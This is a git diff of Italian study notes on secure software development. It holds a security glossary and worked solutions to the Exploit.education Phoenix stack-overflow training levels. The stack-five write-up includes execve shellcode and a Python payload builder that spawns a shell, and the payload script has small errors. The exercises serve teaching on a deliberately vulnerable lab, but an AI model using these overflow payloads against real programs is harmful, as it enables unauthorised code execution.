+		{"id":"8c558f0eadce31a5","fromNode":"839803ae0eef40bb","fromSide":"right","toNode":"721e324b5696e8ae","toSide":"left"},
+		{"id":"6e449bf7fed89684","fromNode":"721e324b5696e8ae","fromSide":"right","toNode":"e0982bf31e8e53cf","toSide":"left"},
+		{"id":"82c82163cb036a0d","fromNode":"721e324b5696e8ae","fromSide":"right","toNode":"3ffe67dc4081b537","toSide":"left"},
+		{"id":"59ef248baba6dfed","fromNode":"721e324b5696e8ae","fromSide":"top","toNode":"4f1c3ef0dd62a909","toSide":"bottom"},
+		{"id":"af0e408e102f1ad5","fromNode":"4f1c3ef0dd62a909","fromSide":"left","toNode":"9d9aec826725b14c","toSide":"right"},
+		{"id":"9943ce184ed85864","fromNode":"9d9aec826725b14c","fromSide":"top","toNode":"8653cb64ef70b233","toSide":"bottom"},
+		{"id":"fd3b0bfa03879e54","fromNode":"e716d43c5583a184","fromSide":"top","toNode":"60a8adf6553c6ffc","toSide":"bottom"},
+		{"id":"ade268e890de2505","fromNode":"e716d43c5583a184","fromSide":"right","toNode":"5ec21f3d7cf3a0c5","toSide":"left"},
+		{"id":"0b1706d00d4840e9","fromNode":"e716d43c5583a184","fromSide":"right","toNode":"8b504cf4d4fa11b5","toSide":"left"},
+		{"id":"9487447c3dff019a","fromNode":"e716d43c5583a184","fromSide":"right","toNode":"2e29ffe6701c45cb","toSide":"left"},
+		{"id":"edffeb0933d4fd81","fromNode":"9d9aec826725b14c","fromSide":"top","toNode":"8628bfcc48d0be41","toSide":"bottom"},
+		{"id":"106ec90f5e300ada","fromNode":"1393dfcad4418860","fromSide":"top","toNode":"8c68b738cdefcede","toSide":"bottom"},
+		{"id":"1432de8bccd27e75","fromNode":"8c68b738cdefcede","fromSide":"left","toNode":"a363e637dce890c3","toSide":"right"},
+		{"id":"0c54ff702cf9afd2","fromNode":"4f1c3ef0dd62a909","fromSide":"top","toNode":"e716d43c5583a184","toSide":"bottom"},
+		{"id":"1601207d49438ab9","fromNode":"e716d43c5583a184","fromSide":"top","toNode":"ef6bb629f47611fc","toSide":"bottom"},
+		{"id":"7ac0ee4fa3f7e222","fromNode":"8653cb64ef70b233","fromSide":"top","toNode":"ef6bb629f47611fc","toSide":"bottom"},
+		{"id":"1304031523f95fb3","fromNode":"ef6bb629f47611fc","fromSide":"top","toNode":"0a8ffaa6eaa6907b","toSide":"bottom"},
+		{"id":"c604e86d95cc05c2","fromNode":"0a8ffaa6eaa6907b","fromSide":"top","toNode":"971acbd07fb532b4","toSide":"bottom"},
+		{"id":"0f84fd40f2eb2d17","fromNode":"971acbd07fb532b4","fromSide":"top","toNode":"0338599c6c87c3a8","toSide":"bottom"},
+		{"id":"3a0cc75292ee96fc","fromNode":"0338599c6c87c3a8","fromSide":"top","toNode":"4c39f84b6d0dab5f","toSide":"bottom"},
+		{"id":"1049cfd7a2a18da5","fromNode":"0a8ffaa6eaa6907b","fromSide":"left","toNode":"e1e561a591d05395","toSide":"right"},
+		{"id":"964e8fc8049b810e","fromNode":"d304cee592ecd198","fromSide":"bottom","toNode":"857ee6d8d0e6f2ad","toSide":"top"},
+		{"id":"de8fc15a436bf713","fromNode":"857ee6d8d0e6f2ad","fromSide":"left","toNode":"e251611652512eff","toSide":"right"},
+		{"id":"706203d9ed0d2d80","fromNode":"d304cee592ecd198","fromSide":"left","toNode":"0d0887dbf7ce55cb","toSide":"right"},
+		{"id":"ea0172c77db4df56","fromNode":"e251611652512eff","fromSide":"left","toNode":"027b576a0d9e22d1","toSide":"right"},
+		{"id":"3bf41e7e77aa8feb","fromNode":"d304cee592ecd198","fromSide":"top","toNode":"d3056252458759b0","toSide":"bottom"},
+		{"id":"ff0409132a8cdef8","fromNode":"0338599c6c87c3a8","fromSide":"left","toNode":"d304cee592ecd198","toSide":"right"},
+		{"id":"383cfd35b306b186","fromNode":"027b576a0d9e22d1","fromSide":"top","toNode":"f531b58d3702d622","toSide":"bottom"},
+		{"id":"96ccefb0a4cd7ec1","fromNode":"4c39f84b6d0dab5f","fromSide":"top","toNode":"f531b58d3702d622","toSide":"top"},
+		{"id":"5eb3fef12d3e09f6","fromNode":"f531b58d3702d622","fromSide":"left","toNode":"dc9380f63df2e093","toSide":"right"},
+		{"id":"e659a3882fe4e68c","fromNode":"8628bfcc48d0be41","fromSide":"left","toNode":"d8c7c2b5ef8db5ef","toSide":"right"}
+	]
+}
\ No newline at end of file
diff --git a/8 - Sistemi complessi/6 - Robustezza/🞵 parentesi anti-eugenica.md b/8 - Sistemi complessi/6 - Robustezza/🞵 parentesi anti-eugenica.md
new file mode 100644
index 0000000..687be37
--- /dev/null
+++ b/8 - Sistemi complessi/6 - Robustezza/🞵 parentesi anti-eugenica.md	
@@ -0,0 +1,5 @@
+Ogni iterazione di [[selezione naturale]] seleziona gli individui con il [[fitness]] massimo con l'obiettivo di aumentarlo.
+
+***Il [[fitness]] però non rappresenta la capacità di un individuo di superare la [[selezione naturale]], ma un obiettivo interamente differente!***
+
+> "Immagina quanto sarebbe stupido se la funzionalità principale di un upscaler di immagini basato sul deep learning fosse quella di riprodursi."
\ No newline at end of file
diff --git a/8 - Sviluppo di software sicuro/1 - Terminologia/STRIDE.md b/8 - Sviluppo di software sicuro/1 - Terminologia/STRIDE.md
new file mode 100644
index 0000000..f31a982
--- /dev/null
+++ b/8 - Sviluppo di software sicuro/1 - Terminologia/STRIDE.md	
@@ -0,0 +1,8 @@
+Classificazione delle [[minaccia|minacce]] introdotta da [[Microsoft]]:
+
+- ***S***: [[spoofing]]
+- ***T***: [[tampering]]
+- ***R***: [[repudiation]]
+- ***I***: [[information disclosure]]
+- ***D***: [[denial-of-service attack|denial-of-service]]
+- ***E***: [[elevation-of-privilege]]
diff --git a/8 - Sviluppo di software sicuro/1 - Terminologia/analisi dei rischi.md b/8 - Sviluppo di software sicuro/1 - Terminologia/analisi dei rischi.md
new file mode 100644
index 0000000..bd7d698
--- /dev/null
+++ b/8 - Sviluppo di software sicuro/1 - Terminologia/analisi dei rischi.md	
@@ -0,0 +1 @@
+Documento che stima i possibili [[rischio|rischi]] a cui è esposto un [[asset]].
\ No newline at end of file
diff --git a/8 - Sviluppo di software sicuro/1 - Terminologia/asset.md b/8 - Sviluppo di software sicuro/1 - Terminologia/asset.md
new file mode 100644
index 0000000..f502c08
--- /dev/null
+++ b/8 - Sviluppo di software sicuro/1 - Terminologia/asset.md	
@@ -0,0 +1,3 @@
+[[Entità]] all'interno di un [[sistema complesso]].
+
+In particolare, un software.
diff --git a/8 - Sviluppo di software sicuro/1 - Terminologia/attaccante.md b/8 - Sviluppo di software sicuro/1 - Terminologia/attaccante.md
new file mode 100644
index 0000000..e93d0dd
--- /dev/null
+++ b/8 - Sviluppo di software sicuro/1 - Terminologia/attaccante.md	
@@ -0,0 +1,29 @@
+---
+aliases: ["hacker", "cracker", "white hat", "black hat", "gray hat", "hacktivist", "state agent", "script kiddie", "1337"]
+---
+
+[[Agente]] che interagisce con un [[asset]] con lo scopo di [[minaccia|minacciarlo]].
+
+## Categorizzazione
+
+### Legalità
+- ***Black hat***: ha scopi criminali
+- ***White hat***: rispetta la legalità
+- ***Grey hat***: lavorano in aree non specificate dalla legge
+
+### Abilità
+- ***Noob***: principiante
+- ***Script kiddie***: prende degli script a caso e li applica
+- ***1337***: hacker molto esperto
+
+### Squadra
+- ***Red hat***: cerca di violare asset per indicarne le vulnerabilità
+- ***Blue hat***: cerca di mitigare vulnerabilità scoperte degli asset
+
+### Scopi
+- ***Hacktivist***: minaccia asset a fini di attivismo
+- ***State agent***: minaccia asset per conto dei servizi segreti di uno stato
+- ***Organized criminal***: minaccia asset per conto di un gruppo criminale 
+
+## Vedi anche
+- [[Squadra rossa]] in Crittografia Applicata
\ No newline at end of file
diff --git a/8 - Sviluppo di software sicuro/1 - Terminologia/bug.md b/8 - Sviluppo di software sicuro/1 - Terminologia/bug.md
new file mode 100644
index 0000000..0fd3e88
--- /dev/null
+++ b/8 - Sviluppo di software sicuro/1 - Terminologia/bug.md	
@@ -0,0 +1 @@
+Errore nell'implementazione dei [[requisito|requisiti]] da un programmatore.
\ No newline at end of file
diff --git a/8 - Sviluppo di software sicuro/1 - Terminologia/debolezza.md b/8 - Sviluppo di software sicuro/1 - Terminologia/debolezza.md
new file mode 100644
index 0000000..7000d92
--- /dev/null
+++ b/8 - Sviluppo di software sicuro/1 - Terminologia/debolezza.md	
@@ -0,0 +1,5 @@
+---
+aliases: ["weakness"]
+---
+
+[[difetto]] o [[bug]] che può permettere a un [[attaccante]] di attuare una [[minaccia]].
diff --git a/8 - Sviluppo di software sicuro/1 - Terminologia/difetto.md b/8 - Sviluppo di software sicuro/1 - Terminologia/difetto.md
new file mode 100644
index 0000000..13ccd17
--- /dev/null
+++ b/8 - Sviluppo di software sicuro/1 - Terminologia/difetto.md	
@@ -0,0 +1 @@
+Errore nella definizione dei [[requisito|requisiti]] di un asset.
diff --git a/8 - Sviluppo di software sicuro/1 - Terminologia/distinguisher.md b/8 - Sviluppo di software sicuro/1 - Terminologia/distinguisher.md
new file mode 100644
index 0000000..67489d1
--- /dev/null
+++ b/8 - Sviluppo di software sicuro/1 - Terminologia/distinguisher.md	
@@ -0,0 +1 @@
+Elemento che permette di identificare la presenza o l'assenza di una determinata proprietà.
\ No newline at end of file
diff --git a/8 - Sviluppo di software sicuro/1 - Terminologia/exploit.md b/8 - Sviluppo di software sicuro/1 - Terminologia/exploit.md
new file mode 100644
index 0000000..d70eced
--- /dev/null
+++ b/8 - Sviluppo di software sicuro/1 - Terminologia/exploit.md	
@@ -0,0 +1 @@
+[[Procedura]] che attua una [[minaccia]] attraverso una [[8 - Sviluppo di software sicuro/1 - Terminologia/vulnerabilità]].
\ No newline at end of file
diff --git a/8 - Sviluppo di software sicuro/1 - Terminologia/funzionalità.md b/8 - Sviluppo di software sicuro/1 - Terminologia/funzionalità.md
new file mode 100644
index 0000000..9113221
--- /dev/null
+++ b/8 - Sviluppo di software sicuro/1 - Terminologia/funzionalità.md	
@@ -0,0 +1 @@
+[[Insieme]] di operazioni che l'[[asset]] può svolgere.
diff --git a/8 - Sviluppo di software sicuro/1 - Terminologia/input illecito.md b/8 - Sviluppo di software sicuro/1 - Terminologia/input illecito.md
new file mode 100644
index 0000000..9c2a316
--- /dev/null
+++ b/8 - Sviluppo di software sicuro/1 - Terminologia/input illecito.md	
@@ -0,0 +1 @@
+[[Input]] che ha un effetto ***non voluto*** dallo sviluppatore.
\ No newline at end of file
diff --git a/8 - Sviluppo di software sicuro/1 - Terminologia/input invalido.md b/8 - Sviluppo di software sicuro/1 - Terminologia/input invalido.md
new file mode 100644
index 0000000..d4c02e8
--- /dev/null
+++ b/8 - Sviluppo di software sicuro/1 - Terminologia/input invalido.md	
@@ -0,0 +1 @@
+[[Input]] che viene ***rifiutato*** dal programma, e ne ferma l'esecuzione.
diff --git a/8 - Sviluppo di software sicuro/1 - Terminologia/input lecito.md b/8 - Sviluppo di software sicuro/1 - Terminologia/input lecito.md
new file mode 100644
index 0000000..f7c3651
--- /dev/null
+++ b/8 - Sviluppo di software sicuro/1 - Terminologia/input lecito.md	
@@ -0,0 +1 @@
+[[Input]] senza effetti imprevisti dallo sviluppatore.
\ No newline at end of file
diff --git a/8 - Sviluppo di software sicuro/1 - Terminologia/input valido.md b/8 - Sviluppo di software sicuro/1 - Terminologia/input valido.md
new file mode 100644
index 0000000..3a554ce
--- /dev/null
+++ b/8 - Sviluppo di software sicuro/1 - Terminologia/input valido.md	
@@ -0,0 +1,2 @@
+[[Input]] che viene ***accettato*** dal programma, e ne consente l'esecuzione.
+
diff --git a/8 - Sviluppo di software sicuro/1 - Terminologia/meccanismo di prevenzione.md b/8 - Sviluppo di software sicuro/1 - Terminologia/meccanismo di prevenzione.md
new file mode 100644
index 0000000..c5280f0
--- /dev/null
+++ b/8 - Sviluppo di software sicuro/1 - Terminologia/meccanismo di prevenzione.md	
@@ -0,0 +1,8 @@
+[[meccanismo di sicurezza]] atto a ridurre la probabilità di attuazione di una [[minaccia]].
+
+Solitamente impediscono determinate interazioni tra [[asset]] e [[agente]], diminuendone le [[funzionalità]].
+
+## Esempi
+
+- [[autenticazione di identità]]
+- [[autorizzazione di utente]]
diff --git a/8 - Sviluppo di software sicuro/1 - Terminologia/meccanismo di reazione.md b/8 - Sviluppo di software sicuro/1 - Terminologia/meccanismo di reazione.md
new file mode 100644
index 0000000..6731b3d
--- /dev/null
+++ b/8 - Sviluppo di software sicuro/1 - Terminologia/meccanismo di reazione.md	
@@ -0,0 +1 @@
+[[meccanismo di sicurezza]] atto a ridurre il [[danno]] causato da [[minaccia]].
diff --git a/8 - Sviluppo di software sicuro/1 - Terminologia/meccanismo di rilevazione.md b/8 - Sviluppo di software sicuro/1 - Terminologia/meccanismo di rilevazione.md
new file mode 100644
index 0000000..001b0cc
--- /dev/null
+++ b/8 - Sviluppo di software sicuro/1 - Terminologia/meccanismo di rilevazione.md	
@@ -0,0 +1,7 @@
+[[meccanismo di sicurezza]] atto a identificare una [[minaccia]] attiva.
+
+Solitamente monitorano le interazioni tra [[asset]] e [[agente]].
+
+## Esempi
+
+- [[auditing]]
\ No newline at end of file
diff --git a/8 - Sviluppo di software sicuro/1 - Terminologia/meccanismo di sicurezza.md b/8 - Sviluppo di software sicuro/1 - Terminologia/meccanismo di sicurezza.md
new file mode 100644
index 0000000..e7623ce
--- /dev/null
+++ b/8 - Sviluppo di software sicuro/1 - Terminologia/meccanismo di sicurezza.md	
@@ -0,0 +1 @@
+Strumento per [[mitigazione|mitigare]] i [[rischio|rischi]].
diff --git a/8 - Sviluppo di software sicuro/1 - Terminologia/minaccia.md b/8 - Sviluppo di software sicuro/1 - Terminologia/minaccia.md
new file mode 100644
index 0000000..ebb8e8b
--- /dev/null
+++ b/8 - Sviluppo di software sicuro/1 - Terminologia/minaccia.md	
@@ -0,0 +1,7 @@
+---
+aliases: ["threat"]
+---
+
+Causa potenziale di un incidente che danneggia un [[asset]].
+
+Sia ***accidentali***, sia ***intenzionali***.
diff --git a/8 - Sviluppo di software sicuro/1 - Terminologia/politica di sicurezza.md b/8 - Sviluppo di software sicuro/1 - Terminologia/politica di sicurezza.md
new file mode 100644
index 0000000..6b60df4
--- /dev/null
+++ b/8 - Sviluppo di software sicuro/1 - Terminologia/politica di sicurezza.md	
@@ -0,0 +1 @@
+Documento che specifica la quantità di [[8 - Sviluppo di software sicuro/1 - Terminologia/sicurezza]] necessaria ad un [[assset]].
diff --git a/8 - Sviluppo di software sicuro/1 - Terminologia/prestazioni.md b/8 - Sviluppo di software sicuro/1 - Terminologia/prestazioni.md
new file mode 100644
index 0000000..5f86f27
--- /dev/null
+++ b/8 - Sviluppo di software sicuro/1 - Terminologia/prestazioni.md	
@@ -0,0 +1 @@
+Rapporto tra i benefici derivanti da un [[asset]] e il [[costo]] necessario a farlo funzionare.
diff --git a/8 - Sviluppo di software sicuro/1 - Terminologia/principio del minimo privilegio.md b/8 - Sviluppo di software sicuro/1 - Terminologia/principio del minimo privilegio.md
new file mode 100644
index 0000000..3ead2f5
--- /dev/null
+++ b/8 - Sviluppo di software sicuro/1 - Terminologia/principio del minimo privilegio.md	
@@ -0,0 +1 @@
+Principio secondo il quale gli [[asset]] devono avere il privilegio minimo per svolgere la loro funzione.
diff --git a/8 - Sviluppo di software sicuro/1 - Terminologia/principio del silenzio.md b/8 - Sviluppo di software sicuro/1 - Terminologia/principio del silenzio.md
new file mode 100644
index 0000000..4a1e4e6
--- /dev/null
+++ b/8 - Sviluppo di software sicuro/1 - Terminologia/principio del silenzio.md	
@@ -0,0 +1 @@
+Principio secondo il quale gli [[asset]] devono emettere il minimo livello di output necessario a svolgere la loro funzione.
\ No newline at end of file
diff --git a/8 - Sviluppo di software sicuro/1 - Terminologia/rischio.md b/8 - Sviluppo di software sicuro/1 - Terminologia/rischio.md
new file mode 100644
index 0000000..e12badd
--- /dev/null
+++ b/8 - Sviluppo di software sicuro/1 - Terminologia/rischio.md	
@@ -0,0 +1 @@
+Ipotetica [[minaccia]] a cui è associata la probabilità di attuazione e il [[danno]] da essa derivante.
diff --git a/8 - Sviluppo di software sicuro/1 - Terminologia/sicurezza informatica.md b/8 - Sviluppo di software sicuro/1 - Terminologia/sicurezza informatica.md
new file mode 100644
index 0000000..657fc7c
--- /dev/null
+++ b/8 - Sviluppo di software sicuro/1 - Terminologia/sicurezza informatica.md	
@@ -0,0 +1 @@
+[[Disciplina]] che cerca di [[mitigazione|mitigare]] i [[rischio|rischi]] agli [[asset]].
\ No newline at end of file
diff --git a/8 - Sviluppo di software sicuro/1 - Terminologia/sicurezza.md b/8 - Sviluppo di software sicuro/1 - Terminologia/sicurezza.md
new file mode 100644
index 0000000..a8c9ec1
--- /dev/null
+++ b/8 - Sviluppo di software sicuro/1 - Terminologia/sicurezza.md	
@@ -0,0 +1,11 @@
+#TODO Inverso del [[rischio]].
+
+## Garanzie tipiche
+
+- [[confidenzialità]]
+- [[integrità]]
+- [[prestazioni]]
+
+## Vedi anche
+
+- [[livello di sicurezza]] in Crittografia Applicata.
diff --git a/8 - Sviluppo di software sicuro/1 - Terminologia/superficie di attacco.md b/8 - Sviluppo di software sicuro/1 - Terminologia/superficie di attacco.md
new file mode 100644
index 0000000..460e9f7
--- /dev/null
+++ b/8 - Sviluppo di software sicuro/1 - Terminologia/superficie di attacco.md	
@@ -0,0 +1 @@
+[[Insieme]] dei [[vettore di attacco|vettori di attacco]] di un [[asset]].
diff --git a/8 - Sviluppo di software sicuro/1 - Terminologia/vettore di attacco.md b/8 - Sviluppo di software sicuro/1 - Terminologia/vettore di attacco.md
new file mode 100644
index 0000000..b956135
--- /dev/null
+++ b/8 - Sviluppo di software sicuro/1 - Terminologia/vettore di attacco.md	
@@ -0,0 +1 @@
+Strumento utilizzabile per fare uso di una [[8 - Sviluppo di software sicuro/1 - Terminologia/vulnerabilità]].
\ No newline at end of file
diff --git a/8 - Sviluppo di software sicuro/1 - Terminologia/vulnerabilità.md b/8 - Sviluppo di software sicuro/1 - Terminologia/vulnerabilità.md
new file mode 100644
index 0000000..5656430
--- /dev/null
+++ b/8 - Sviluppo di software sicuro/1 - Terminologia/vulnerabilità.md	
@@ -0,0 +1,5 @@
+---
+aliases: ["vulnerability"]
+---
+
+[[8 - Sviluppo di software sicuro/1 - Terminologia/debolezza]] particolare che sta causando attivamente una [[minaccia]].
diff --git a/8 - Sviluppo di software sicuro/2 - Esercizi svolti/Exploit.education - Phoenix/00 - stack-zero.md b/8 - Sviluppo di software sicuro/2 - Esercizi svolti/Exploit.education - Phoenix/00 - stack-zero.md
new file mode 100644
index 0000000..0faee85
--- /dev/null
+++ b/8 - Sviluppo di software sicuro/2 - Esercizi svolti/Exploit.education - Phoenix/00 - stack-zero.md	
@@ -0,0 +1,11 @@
+# [Stack Zero](https://exploit.education/phoenix/stack-zero/)
+
+Inserire `aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa` come input. 
+
+L'ultima `a` manda `buffer` in overflow, impostando il valore di `changeme` ad `'a'`, ovvero `97`.
+
+## Soluzione
+
+```bash
+echo 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' | ./stack-zero
+```
diff --git a/8 - Sviluppo di software sicuro/2 - Esercizi svolti/Exploit.education - Phoenix/01 - stack-one.md b/8 - Sviluppo di software sicuro/2 - Esercizi svolti/Exploit.education - Phoenix/01 - stack-one.md
new file mode 100644
index 0000000..11a45fa
--- /dev/null
+++ b/8 - Sviluppo di software sicuro/2 - Esercizi svolti/Exploit.education - Phoenix/01 - stack-one.md	
@@ -0,0 +1,11 @@
+# [Stack One](https://exploit.education/phoenix/stack-one/)
+
+Inserire `aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabYlI` come input. 
+
+`bYlI` manda `buffer` in overflow, impostando il valore di `changeme` ad `"bYlI"`, ovvero `0x496c5962` (***in architetture little-endian***).
+
+## Soluzione
+
+```bash
+echo 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabYlI' | ./stack-one
+```
\ No newline at end of file
diff --git a/8 - Sviluppo di software sicuro/2 - Esercizi svolti/Exploit.education - Phoenix/02 - stack-two.md b/8 - Sviluppo di software sicuro/2 - Esercizi svolti/Exploit.education - Phoenix/02 - stack-two.md
new file mode 100644
index 0000000..fa13385
--- /dev/null
+++ b/8 - Sviluppo di software sicuro/2 - Esercizi svolti/Exploit.education - Phoenix/02 - stack-two.md	
@@ -0,0 +1,30 @@
+# [Stack Two](https://exploit.education/phoenix/stack-two/)
+
+Il valore desiderato richiede caratteri non stampabili.
+
+Da `bash`:
+
+1. Si usa `printf` per trasformare le escape sequence nei caratteri desiderati:
+	```bash
+	printf 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa  
+	aaaaaaaaaaaaaaaaaaaaaaaaaaa\n\t\n\r'
+	```
+
+2. Si usa la command substitution per scrivere i caratteri desiderati nel comando:
+	```bash
+	echo $(printf 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n\t\n\r')
+	```
+
+3. Si usa il comando `export` per impostare la variabile d'ambiente al valore desiderato:
+	```bash
+	export ExploitEducation=$(printf 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n\t\n\r')
+	```
+
+4. Si esegue il programma da exploitare.
+
+## Soluzione
+
+```bash
+export ExploitEducation=$(printf 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n\t\n\r')
+./stack-two
+```
diff --git a/8 - Sviluppo di software sicuro/2 - Esercizi svolti/Exploit.education - Phoenix/03 - stack-three.md b/8 - Sviluppo di software sicuro/2 - Esercizi svolti/Exploit.education - Phoenix/03 - stack-three.md
new file mode 100644
index 0000000..efb5d5d
--- /dev/null
+++ b/8 - Sviluppo di software sicuro/2 - Esercizi svolti/Exploit.education - Phoenix/03 - stack-three.md	
@@ -0,0 +1,20 @@
+# [Stack Three](https://exploit.education/phoenix/stack-three/)
+
+Per fixare `gdb`, usare:
+```bash
+export LC_CTYPE=C.UTF-8
+```
+
+Usando `objdump` si può trovare l'indirizzo della funzione:
+```
+000000000040069d g     F .text  0000000000000018 complete_level
+```
+
+L'indirizzo è quello nella prima colonna, `000000000040069d`.
+
+## Soluzione
+
+```bash
+printf 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa  
+a\x9d\x06@' | ./stack-three
+```
\ No newline at end of file
diff --git a/8 - Sviluppo di software sicuro/2 - Esercizi svolti/Exploit.education - Phoenix/04 - stack-four.md b/8 - Sviluppo di software sicuro/2 - Esercizi svolti/Exploit.education - Phoenix/04 - stack-four.md
new file mode 100644
index 0000000..008013c
--- /dev/null
+++ b/8 - Sviluppo di software sicuro/2 - Esercizi svolti/Exploit.education - Phoenix/04 - stack-four.md	
@@ -0,0 +1,45 @@
+# [Stack Four](https://exploit.education/phoenix/stack-four/)
+
+_Now here is when it gets hard._
+
+Intanto, bisogna trovare l'indirizzo della funzione bersaglio.
+Con `gdb` è facile:
+
+```
+(gdb) x complete_level
+0x40061d
+```
+
+Impostando un breakpoint nella funzione `start_level`, è possibile iniziare a scuriosarci:
+
+```
+(gdb) break start_level
+(gdb) run
+(gdb) disassemble start_level
+(gdb) step
+...
+```
+
+Ricordando che `$rbp` e `$rsp` sono rispettivamente fondo e cima dello stack, possiamo determinare quanto padding dobbiamo mettere per romperlo:
+
+```
+(gdb) p $rbp-$rsp
+0x50
+```
+
+Ricordandoci che in un architettura a 64-bit gli indirizzi sono 8 byte, creiamo un payload con:
+- `0x50` bytes di padding per riempire lo stack
+- `0x8` bytes di padding per sovrascrivere lo stack base pointer della funzione precedente
+- `0x8` bytes con l'indirizzo della funzione a cui vogliamo tornare in ordine invertito:
+
+```python
+>>> 0x50 * b'a' + 0x8 * b'b' + b'\0\0\0\0\0\x1d\x06\x40'
+b'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x00\x00\x00\x00\x00  
+\x1d\x06@'
+```
+
+Passando questo payload prima a `printf`, poi a `stack-four`, otteniamo:
+
+```bash
+printf 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbbbbb\x1d\x06@' | ./stack-four
+```
diff --git a/8 - Sviluppo di software sicuro/2 - Esercizi svolti/Exploit.education - Phoenix/05 - stack-five.md b/8 - Sviluppo di software sicuro/2 - Esercizi svolti/Exploit.education - Phoenix/05 - stack-five.md
new file mode 100644
index 0000000..552170c
--- /dev/null
+++ b/8 - Sviluppo di software sicuro/2 - Esercizi svolti/Exploit.education - Phoenix/05 - stack-five.md	
@@ -0,0 +1,89 @@
+# [Stack Five](https://exploit.education/phoenix/stack-five/)
+
+_Even harder...!_
+
+Usiamo `gdb` per ispezionare l'eseguibile bersaglio, creando un ambiente di esecuzione costante:
+```
+$ gdb
+(gdb) unset env LINES
+(gdb) unset env COLUMNS
+(gdb) unset env _
+```
+
+Impostiamo ancora un breakpoint in `start_level` e avanziamo fino alla chiamata di `gets`:
+```
+(gdb) break start_level
+(gdb) run
+(gdb) disassemble start_level
+(gdb) step
+...
+```
+
+Annotiamo i valori dei registri `rbp` e `rsp`:
+```
+(gdb) x $rbp
+0x7fffffffe690
+(gdb) x $rsp
+0x7fffffffe610
+```
+
+Troviamo uno shellcode che effettui `execve("/bin//sh")` (doppia barra in modo che sia allineato a 8 bytes, allineando automaticamente lo stack a 16-bytes):
+
+```
+1\xf6VH\xbb/bin//shST_\xf7\xee\xb0;\x0f\x05
+```
+
+Aiutandoci con `python`, costruiamo il payload:
+```python
+import struct
+
+rbp = 0x7fffffffe690
+rsp = 0x7fffffffe610
+shellcode = b"1\xf6VH\xbb/bin//shST_\xf7\xee\xb0;\x0f\x05"
+
+total_length = rbp - rsp
+padding_length = total_length - len(shellcode)
+
+payload =
+	# Mettiamo lo shellcode per primo, in modo che non venga sovrascritto dallo stack
+	shellcode +
+	# Mettiamo il padding...
+	padding +
+	# Facciamo in modo che l'rbp non cambi dopo il ritorno della funzione
+	struct.pack("@Q", rbp) +  # @ per l'endianness nativa, Q per indirizzi 64 bit
+	# Facciamo in modo che l'rip cambi a quello dell'inizio dello shellcode dopo il ritorno della funzione
+	struct.pack("@Q", rsp)  # Lo shellcode si trova alla cima dello stack!
+
+with open("file", "wb") as file:
+	file.write(payload)
+```
+
+Proviamo a eseguire in `gdb`:
+```
+(gdb) run < file
+...
+process 5984 is executing new program: /bin/dash
+```
+
+Funziona!
+
+Ricreiamolo in una shell normale.
+
+Prepariamo l'ambiente:
+```
+$ sh
+$ unset _
+```
+
+Avviamo il payload:
+```
+$ cat file | /opt/phoenix/amd64/stack-five
+```
+
+Così ***non va***, perchè standard input è chiuso e la shell si chiude subito.  
+Se invece vogliamo mantenere lo standard input aperto, facciamo:
+```sh
+$ cat file - | /opt/phoenix/amd64/stack-five
+```
+
+E l'exploit funziona!
\ No newline at end of file
diff --git a/8 - Sviluppo di software sicuro/2 - Esercizi svolti/Exploit.education - Phoenix/Stack smashing cheat sheet.md b/8 - Sviluppo di software sicuro/2 - Esercizi svolti/Exploit.education - Phoenix/Stack smashing cheat sheet.md
new file mode 100644
index 0000000..00d02b4
--- /dev/null
+++ b/8 - Sviluppo di software sicuro/2 - Esercizi svolti/Exploit.education - Phoenix/Stack smashing cheat sheet.md	
@@ -0,0 +1,29 @@
+# GDB
+
+Per fixare [GEF](https://github.com/hugsy/gef):
+```console
+$ export LC_CTYPE=C.UTF-8
+```
+
+Per eseguire qualcosa:
+```
+> break nomefunzione
+> run
+> step
+```
+
+## Assembly x64
+
+### Registri
+- ***$rax***: risultati delle operazioni aritmetiche
+- ***$rbx***: puntatore "base" a indirizzo variabile
+- ***$rcx***: contatore dei loop
+- ***$rdx***: operando aritmetico
+- ***$rsi***: indirizzo sorgente stream
+- ***$rdi***: indirizzo destinazione stream
+- ***$rsp***: indirizzo della cima dello stack
+- ***$rbp***: indirizzo della base dello stack
+- ***$eflags***: flag
+
+### Istruzioni strane
+- ***lea***: load effective address, è una specie di ***mov*** che usa le operazioni tra gli indirizzi